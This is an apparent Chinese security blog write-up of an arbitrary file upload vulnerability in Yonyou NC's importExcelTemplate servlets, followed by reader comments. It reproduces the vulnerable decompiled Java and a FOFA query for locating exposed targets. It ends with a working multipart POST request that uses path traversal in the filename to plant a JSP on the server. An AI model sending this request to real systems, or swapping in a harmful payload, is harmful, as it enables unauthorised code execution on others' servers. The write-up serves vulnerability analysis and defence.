用友NC importExcelTemplate 任意文件上传漏洞


漏洞简介

用友NC的importExcelTemplate模块存在任意文件上传漏洞。攻击者可通过构造恶意上传请求,绕过文件类型限制,将任意文件上传至服务器,进而可能实现远程代码执行或服务器控制,影响系统的完整性和安全性。

影响版本

NC63、NC65

fofa语法

app="用友-UFIDA-NC"

漏洞分析

根据漏洞通告,可知漏洞点位于importExcelTemplate方法内

直接搜索发现有三处实现了该方法

img

分别是 CpDocAttrExcelImportAction、CpDocExcelImportAction和CpDocInfoPathImportAction这三个类,先看下CpDocInfoPathImportAction类的实现逻辑

CpDocInfoPathImportAction

@Servlet(path="/infopathimport")
public class CpDocInfoPathImportAction
extends BaseAction {
    private static MultipartResolver multipartResolver = new CommonsMultipartResolver();

    private static MultipartHttpServletRequest getMultipartResolver(HttpServletRequest request) throws MultipartException {
        ((CommonsMultipartResolver)multipartResolver).setDefaultEncoding("UTF-8");
        return multipartResolver.resolveMultipart(request);
    }

    @Action
    public void importExcelTemplate() throws IOException {
        MultipartHttpServletRequest req = CpDocInfoPathImportAction.getMultipartResolver(this.request);
        Map fileMap = req.getFileMap();
        ArrayList files = new ArrayList();
        if (MapUtils.isNotEmpty((Map)fileMap)) {
            files.addAll(fileMap.values());
        }
        String name = ((MultipartFile)files.get(0)).getOriginalFilename();
        InputStream in = ((MultipartFile)files.get(0)).getInputStream();
        File xsnFile = new File(name);
        byte[] xsnFileBytes = IOUtils.read((InputStream)in);
        FileUtils.writeByteArrayToFile((File)xsnFile, (byte[])xsnFileBytes);
        in.close();
        LfwLogger.info((String)("upload xsn file name is :" + name));
    }
}

整个类就一个action,也就是存在漏洞的方法importExcelTemplate,importExcelTemplate的实现也比较简单,直接将请求里的文件文件信息如文件名这些原封不动的取出来,然后调用FileUtils.writeByteArrayToFile写入文件,整个过程没有任何对文件的类型、后缀以及内容的校验措施,因此造成任意文件上传漏洞。

其他两个方法类似

CpDocExcelImportAction

@Servlet(path="/excelimport")
public class CpDocExcelImportAction
extends BaseAction {
    private static MultipartResolver multipartResolver = new CommonsMultipartResolver();

    private static MultipartHttpServletRequest getMultipartResolver(HttpServletRequest request) throws MultipartException {
        ((CommonsMultipartResolver)multipartResolver).setDefaultEncoding("UTF-8");
        return multipartResolver.resolveMultipart(request);
    }

    @Action
    public void importExcelTemplate() throws IOException {
        MultipartHttpServletRequest req = CpDocExcelImportAction.getMultipartResolver(this.request);
        String billitem = req.getParameter("billitem");
        String[] params = billitem.split(";");
        HashMap<String, String> paramMap = new HashMap<String, String>(3);
        paramMap.put("pk_doctype", params[0]);
        paramMap.put("pk_org", params[1]);
        paramMap.put("pk_group", params[2]);
        Map fileMap = req.getFileMap();
        ArrayList files = new ArrayList();
        if (MapUtils.isNotEmpty((Map)fileMap)) {
            files.addAll(fileMap.values());
        }
        String name = ((MultipartFile)files.get(0)).getOriginalFilename();
        InputStream in = ((MultipartFile)files.get(0)).getInputStream();
        File xlsFile = new File(name);
        byte[] xlsxBytes = IOUtils.read((InputStream)in);
        FileUtils.writeByteArrayToFile((File)xlsFile, (byte[])xlsxBytes);
        in.close();
        LfwLogger.info((String)("upload xlsx file name is :" + name));

需要注意参数billitem的格式为 1;2;3 这种。

CpDocAttrExcelImportAction

@Servlet(path="/attrexcelimport")
public class CpDocAttrExcelImportAction
extends BaseAction {
    private static MultipartResolver multipartResolver = new CommonsMultipartResolver();

    private static MultipartHttpServletRequest getMultipartResolver(HttpServletRequest request) throws MultipartException {
        ((CommonsMultipartResolver)multipartResolver).setDefaultEncoding("UTF-8");
        return multipartResolver.resolveMultipart(request);
    }

    /*
     * WARNING - Removed try catching itself - possible behaviour change.
     */
    @Action
    public void importExcelTemplate() throws IOException {
        MultipartHttpServletRequest req = CpDocAttrExcelImportAction.getMultipartResolver(this.request);
        String pk_doc = req.getParameter("billitem");
        Map fileMap = req.getFileMap();
        ArrayList files = new ArrayList();
        if (MapUtils.isNotEmpty((Map)fileMap)) {
            files.addAll(fileMap.values());
        }
        String name = ((MultipartFile)files.get(0)).getOriginalFilename();
        InputStream in = ((MultipartFile)files.get(0)).getInputStream();
        File xlsFile = new File(name);
        byte[] xlsxBytes = IOUtils.read((InputStream)in);
        FileUtils.writeByteArrayToFile((File)xlsFile, (byte[])xlsxBytes);
        in.close();

总共三种url形式

  • /attrexcelimport/importExcelTemplate
  • /excelimport/importExcelTemplate
  • /infopathimport/importExcelTemplate

漏洞复现

这个属于老洞,不过最近蜜罐监测到又有人来打。。。

POST /portal/pt/infopathimport/importExcelTemplate?pageId=login HTTP/1.1
Host: nc.mrxn.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNAL3EsrdN90G1hgq

------WebKitFormBoundaryNAL3EsrdN90G1hgq
Content-Disposition: form-data; name="Filedata"; filename="./.\webapps\nc_web\1.jsp"
application/octet-stream

<%out.println(java.util.UUID.randomUUID().toString());new java.io.File(application.getRealPath(request.getServletPath())).delete();%>
------WebKitFormBoundaryNAL3EsrdN90G1hgq--

访问上传文件

成功执行上传的代码,打印UUID并删除自身。

参考


手机扫码阅读

用友U8+渠道管理(高级版) datacollectfile.jsp 文件上传漏洞

西部数据 NAS snmp_mgr.cgi 多处命令执行漏洞

评 论
avatar
奇怪的人
大佬,这个漏洞用友nc给的官网上给的补丁是要从云巡检上下载,没有linense的情况,有办法看到它实际补丁修改的是什么地方么
1 年前 回复
avatar
Mrxn
@奇怪的人:没有license的情况下 估计不好搞,可以试试监控本地应用文件修改变化,补丁最终还是需要修改文件的 可以从这方面试试,如果成功了可以投稿啊
1 年前 回复
avatar
test
佬,这个nc源码的位置,在那个目录还是哪个jar包中,我在源码中没定位到位置
1 年前 回复
avatar
Mrxn
@test:jar包里
1 年前 回复
avatar
test
@Mrxn:能给个具体jar包的名称吗获取jar包在哪个目录
1 年前 回复
avatar
Mrxn
@test:看最新文章 https://mrxn.net/jswz/find-class-in-multiple-jars.html
1 年前 回复